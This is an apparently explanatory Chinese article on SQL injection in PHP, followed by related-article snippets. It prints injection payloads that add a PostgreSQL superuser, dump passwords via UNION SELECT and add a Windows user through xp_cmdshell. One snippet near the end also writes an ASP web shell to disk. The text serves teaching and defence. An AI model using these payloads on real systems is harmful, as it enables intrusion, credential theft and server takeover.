PHP等语言SQL注入的问题

很多人在做开发的时候并没有注意到SQL的查询是可以被改掉的,其实SQL却是最不安全的因素之一,通过SQL,更有可能去直接执行系统命令,在服务器上新建用户,修改密码等操作也不是不可能。

直接 SQL 命令注入就是攻击者常用的一种创建或修改已有 SQL 语句的技术,从而达到取得隐藏数据,或覆盖关键的值,甚至执行数据库主机操作系统命令的目的。这是通过应用程序取得用户输入并与静态参数组合成 SQL 查询来实现的。

$offset = $argv[0]; // 注意,没有输入验证!
$query  = "SELECT id, name FROM products ORDER BY name LIMIT 20 OFFSET $offset;";
$result = pg_query($conn, $query);

这是最普通的分页例子,但是如果有人把下面的语句通过unlencecode()编码以后,

0;
insert into pg_shadow(usename,usesysid,usesuper,usecatupd,passwd)
    select 'crack', usesysid, 't','t','crack'
    from pg_shadow where usename='postgres';
--

再把这语句插入到url以后.就会在数据的表中插入一个用户(通过字段猜测,不过肯定是插入数据了)

注意那个 0; 只不过是为了提供一个正确的偏移量以便补充完整原来的查询,使它不要出错而已。 ,这个是手册上的例子

$query  = "SELECT id, name, inserted, size FROM products
                  WHERE size = '$size'
                  ORDER BY $order LIMIT $limit, $offset;";
$result = odbc_exec($conn, $query);

可以在原来的查询的基础上添加另一个 SELECT 查询来获得密码:

'
union select '1', concat(uname||'-'||passwd) as name, '1971-01-01', '0' from usertable;
--

再比如:

<?php
$query  = "SELECT * FROM products WHERE id LIKE '%$prod%'";
$result = mssql_query($query);
?>

如果攻击提交 a%' exec master..xp_cmdshell 'net user test testpass /ADD' -- 作为变量 $prod的值,那么 $query 将会变成

<?php
$query  = "SELECT * FROM products
                    WHERE id LIKE '%a%'
                    exec master..xp_cmdshell 'net user test testpass /ADD'--";
$result = mssql_query($query);
?>

有人说以上的攻击必须得知道数据表的结构等阿,但是没人能保证他们获取不到这些信息阿,不管通过猜测还是,比如用户表最常用的就是user,admin表,什么节点表access啊,不是没有可能

而且还有通过修改form表单,添加隐藏域的方法来提交表单,asp的更恐怖, 通过sql注入来猜测数据库语句之类的,而mysql中sql语言不对会报错,不过,依然不要相信别人输入的数据。

最好对每个客户端发送的数据进行严格的检查过滤。以保证网站的安全。而且,可以的话,最好建立一个日志系统,方便你查看网站是否没入侵过。

PHP中免费的开源产品,如dede,帝国,dz,ecshop等,使用者不再少数!不过,越是开源的产品越危险!因为别人很容易就很获取到你的数据库结构,网站目录结构!网站所有代码!攻击网站也轻而易举:

举例说明,dedeV5.7的

以上是小编为您精心准备的的内容,在的博客、问答、公众号、人物、课程等栏目也有的相关内容,欢迎继续使用右上角搜索按钮进行搜索sql
, sql插入数据的问题
, 查询
, 命令
, query
, 语句
name
易语言sql注入源码、易语言sql注入、php防止sql注入、php sql 防注入、php过滤sql注入函数,以便于您获取更多的相关知识。

时间: 2024-11-01 22:23:15

PHP等语言SQL注入的问题的相关文章

SQL预编译和SQL注入

再说SQL预编译: 最近用go语言时,学习了一下数据库连接的库,这里总结一下SQL预编译相关的知识.貌似网上都是建议使用预编译,我也觉得这种做法靠谱. 先谈 SQL注入: SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过让原SQL改变了语义,达到欺骗服务器执行恶意的SQL命令.其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统. 其实,反过来考虑,这也是SQL这类解释性语言本身的缺陷,安全和易用性总是相对的.类似的Sh

总结了关于PHP xss 和 SQL 注入的问题

漏洞无非这么几类,XSS.sql注入.命令执行.上传漏洞.本地包含.远程包含.权限绕过.信息泄露.cookie伪造.CSRF(跨站请求)等.这些漏洞不仅仅是针对PHP语言的,本文只是简单介绍PHP如何有效防止这些漏洞. 1.xss + sql注入(关于xss攻击详细介绍) 其中占大头的自然是XSS与SQL注入,对于框架类型或者有公共文件的,建议在公共文件中统一做一次XSS和SQL注入的过滤.用PHP写个过滤函数,可由如下所示: $_REQUEST = filter_xss($_REQUEST);

最详细的SQL注入相关的命令整理

sql 1.   用^转义字符来写ASP(一句话木马)文件的方法:   http://192.168.1.5/display.asp?keyno=1881;exec master.dbo.xp_cmdshell 'echo ^<script language=VBScript runat=server^>execute request^("l"^)^</script^> >c:\mu.asp';--    echo ^<%execute^(req

SQL注入常用函数

 有SQL语言基础的人,在SQL注入的时候成功率比不熟悉的人高很多.我们有必要提高一下自己的SQL水平,特别是一些常用的函数及命令. Access:asc(字符) SQLServer:unicode(字符) 作用:返回某字符的ASCII码 Access:chr(数字) SQLServer:nchar(数字) 作用:与asc相反,根据ASCII码返回字符 Access:mid(字符串,N,L) SQLServer:substring(字符串,N,L) 作用:返回字符串从N个字符起长度为L的子字符串

安全入门:SQL注入漏洞全接触

安全 SQL注入是从正常的WWW端口访问,而且表面看起来跟一般的Web页面访问没什么区别,所以目前市面的防火墙都不会对SQL注入发出警报,如果管理员没查看IIS日志的习惯,可能被入侵很长时间都不会发觉. 但是,SQL注入的手法相当灵活,在注入的时候会碰到很多意外的情况.能不能根据具体情况进行分析,构造巧妙的SQL语句,从而成功获取想要的数据,是高手与"菜鸟"的根本区别. 根据国情,国内的网站用ASP+Access或SQLServer的占70%以上,PHP+MySQ占L20%,其他的不足

PHP与SQL注入攻击

攻击     SQL注入攻击是黑客攻击网站最常用的手段.如果你的站点没有使用严格的用户输入检验,那么常容易遭到SQL注入攻击.SQL注入攻击通常通过给站点数据库提交不良的数据或查询语句来实现,很可能使数据库中的纪录遭到暴露,更改或被删除.下面来谈谈SQL注入攻击是如何实现的,又如何防范. 看这个例子: // supposed input$name = "ilia'; DELETE FROM users;";mysql_query("SELECT * FROM users WH

初级教程之SQL Injection(SQL注入攻击)

攻击|教程 因为目前SQL注入是非常热门而且技术门槛较低的攻击手段,并且非常实用,轻则可以拿到网站的一些帐号,比如拿到某个电影网站的黄金会员的帐号:重则利用其网站楼多入侵整个服务器等等. 这里打算作为一个专题讲解SQL及其注入.其中对于SQL不太明白的地方希望大家自己查资料.这个帖子将长期更新... 一,SQL纵览 SQL(Structured Query Language)语言是一种结构化查询语言.SQL语言中完成核心功能的共有9个关键词:SELECT(数据查询).CREAT.DROP.ALT

SQL Server应用程序中的高级SQL注入

server|程序|高级 介绍: SQL是一种用于关系数据库的结构化查询语言.它分为许多种,但大多数都松散地基于美国国家标准化组织最新的标准SQL-92.典型的执行语句是query,它能够收集比较有达标性的记录并返回一个单一的结果集.SQL语言可以修改数据库结构(数据定义语言)和操作数据库内容(数据操作语言).在这份文档中,我们将特别讨论SQLSERVER所使用的Transact-SQL语言. 当一个攻击者能够通过往query中插入一系列的sql语句来操作数据写入到应用程序中去,我们管这种方法定

使用LINQ解除SQL注入安全问题

在开发人员承受越来越多的安全责任之时,许多开发人员了解到的第一个Web 应用安全漏洞,是一个被称为"SQL注入"的极危险的命令注入形式 .命令注入的原始的形式本是指这样一种漏洞:攻击者通过提供一个正常使用者 意料之外的输入,改变你的Web应用程序的运行方式,从而允许攻击者运行服务 器上的非授权的命令.无疑,SQL注入式攻击是很常见的.被广泛使用的攻击形 式.幸运的是,一旦我们理解了这个问题,就可以很容易地防止SQL注入式攻击 .更妙的是,现在微软的数据访问技术向.net开发人员提供了彻